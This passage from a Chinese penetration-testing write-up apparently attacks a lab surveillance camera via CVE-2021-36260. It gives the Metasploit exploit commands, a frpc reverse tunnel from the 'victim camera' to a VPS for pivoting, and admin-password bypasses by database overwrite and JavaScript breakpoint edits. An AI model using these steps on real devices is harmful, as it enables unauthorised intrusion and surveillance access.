下载器会将文件下载至你执行下载器的文件夹下，而不是下载器本身所在的文件夹下

6. 尝试建立 socks5 代理

解压 frpc，也就是 payload 文件

在这千钧一发之际，果然，这个摄像头系统又崩了，看来性能实在堪忧，当然这是对于我们额外的需求来说

重复测试

再次崩溃，但这根本难不倒我，我们将 frpc 和 frpc.toml 分别命名为 a ，之后下载两次

万事俱备，可以开始建立代理了

没有代理建立成功，通过ssh上去执行一下看看

校验一下 Hash

看来这 frp 的 arm 版与这个并不兼容

7. 编译 frpc

搭建 GO 环境

https://go.dev/doc/install

 wget https://dl.google.com/go/go1.22.1.linux-amd64.tar.gz
 rm -rf /usr/local/go && tar -C /usr/local -xzf go1.22.1.linux-amd64.tar.gz
 export PATH=$PATH:/usr/local/go/bin

拉取 frp 源代码

git clone https://github.com/fatedier/frp.git

静态编译 frpc

export GOARCH=arm
export GOARM=5  # 对应ARMv5架构
export CGO_ENABLED=1
export CC=/home/join/download/buildroot-2024.02/output/host/bin/arm-linux-gcc
export CXX=/home/join/download/buildroot-2024.02/output/host/bin/arm-linux-g++

go env -w GOPROXY=https://goproxy.cn,direct
go build -ldflags '-extldflags "-static" -s -w' -tags netgo -o frpc_arm_v5 cmd/frpc/*.go

这里环境变量 CC 和 CXX 分别对应我们用 buildroot 生成的 gcc 以及 g++

8. 建立代理

VPS (192.168.1.125)

./frps -c frps.toml

受害摄像头

上传下载器 -> 下载 frpc -> 下载 frpc.toml -> 建立代理

执行 frpc -c frpc.toml

成功获取到代理

9. 使用代理访问受限网络

成功访问到 192.168.1.126

0x05 Metasploit

其实 Metasploit 中自带了 CVE-2021-36260 的 Payload，攻击起来异常便利

search CVE-2021-36260

填写部分信息

set rhost 192.168.1.64
set lhost 192.168.1.125
show targets 
set target Linux Dropper

exploit

看起来和我们之前的 echo 操作是一样的

成功获取到 shell

从 192.168.1.125 访问 192.168.1.126 是访问不通的

添加路由

因为本身 VPS 就处于 192.168.1.0 这个段了，这样我们就直接添加一个到 192.168.1.126 的路由

route add 192.168.1.126 255.255.255.255 192.168.1.64

配置 socks5 代理，监听 1080 端口

利用代理访问受限网络

0x06 登录 Web 后台

https://github.com/jorhelp/Ingram/discussions/9

根据上面链接，找到数据库位置 /devinfo/ipc_db ，是 sqlite3 数据库，可以使用 DB Broswer 打开，可以修改后覆盖原本的数据库，重启后生效

大家讨论出两种方案

命令行执行 resetParam 清空管理员的密码，默认用户 admin
将已知账号密码(例如user/userpass) 加密后的结果直接写入到用户密码所在的表

这两种情况看起来都能解决问题，但并不通用

第一种方法的 resetParam 并不见得在所有的情况下都有，或者说有，也不见得大家都能找到，找到了设备厂商也有可能设置了第二部校验；

第二种方法看似完美，但是前提是我们有已知的信息，如何获取信息可能是个问题，不能总是去买个设备或者找存在弱口令的设备

这两种方法都可以稍微再完善些，我提出一种较为通用的方案

1. 下载数据库并备份

2. 修改数据库

将 passwd 的值记录保存并置空

:b0:f:2c:fa:d9:a6:42:2f:c5:5c:78:26:1f:6f:f3:39

当然，我们是可以搜索到这个设备的默认管理员用户为 admin ，从格式上看，用户名和密码采用的编码方式是一样的，所以将密码设置为用户名应该也是可以的，但这种事并不通用，常见的是密码加密，用户名不加密，所以我们还是选择将密码置空

保存

3. 上传并覆盖原有数据库

覆盖后重启设备

4. 尝试登录

直接就让我们修改密码

成功登录后台

5. 新建用户

新建 user/user1234

尝试用新用户登录

此时新创建的用户权限并没有 admin 那么大

6. 再次修改数据库

复制 admin 的权限给 user ，恢复 admin 的密码

7. 权限测试

可以看到，已经是管理员权限了，但是添加、删除用户还不能用，是灰色的，猜测可能是前端问题

将 disabled="disabled" 删除掉

这回看看功能是否可用了

添加一个普通用户 demo

尝试使用 demo 登录

我们可以试试操作员 demo 会不会存在权限问题，创建账户测试

还好，没有这种基础性错误

尝试使用 admin 原来的密码进行登录，看看是否恢复成功

成功登录

8. 通用性延伸

在很多系统中，直接修改数据库并不是直接让用户修改密码的，而是需要使用空密码进行登录，其实在这个系统上除了 admin 用户，也是一样的，前期测试的时候没有直接对 admin 下手，所以就遇到更加通用的情况，接下来将演示将 user 的密码清空，之后登录后台

重启后尝试使用 user 账户登录

这才是常规情况，我们将密码置空了，但是系统不允许空密码登录，我们可以看一下是前端不让还是后端，抓包

看来是前端的限制，我们是不是可以直接抓包，修改呢？

密码是加密后的，我们尝试置空

会引发格式错误，获取新的 sessionID，之后直接删除掉 password 这个标签测试

还是格式错误，看来这并不是XML 的问题，而是接口规定了格式

没关系，前端问题的话，就从前端解决吧，正好之前给大家介绍过 javascript 逆向，这就当练习了

复制请求的 URL

http://192.168.1.64/ISAPI/Security/sessionLogin

添加 xhr 断点

使用 user 账户加任意密码，以 1234 为例，登录

可以看到，断点在图中箭头位置，控制台输出一下 b.hasContent 和b.data

可以看到到这里已经是加密后的数据了，从断点处根据调用堆栈向前找明文密码在哪里

可以一点一点向前追溯

可以看到在这个 doLogin 处出现了我们的明文密码 1234 ，我们在此添加断点

释放 debug ，再次提交 user/1234 ，网页在断点处停留

这里有个挺奇怪的一段话

"anonymous" === $scope.username && (a = "******")

没有理解这是要干什么，当然我是进行过登录尝试，没有成功，这里不是重点，我们在断点处修改变量 a 的值

释放断点，让程序继续执行

经过测试，这里的修改密码虽然有界面，但是并不会修改密码，所以我们直接选择取消

成功进入后台，我本以为 admin 账户也会经历这一段，没想到直接让重置密码了，所以这段主要是给大家做延伸性的展示

0x07 浏览数据库

在上一节我们使用了数据库覆盖实现某些功能，在翻数据库的过程中，发现了其他有趣的表

security_config

这里涉及到很多配置，例如 web_auth 、ssh_enable ，我想起了这个漏洞的发现者曾提到过禁用web 认证，不知道是不是通过这里，我测试后发现没有效果，可能是这个设备不支持吧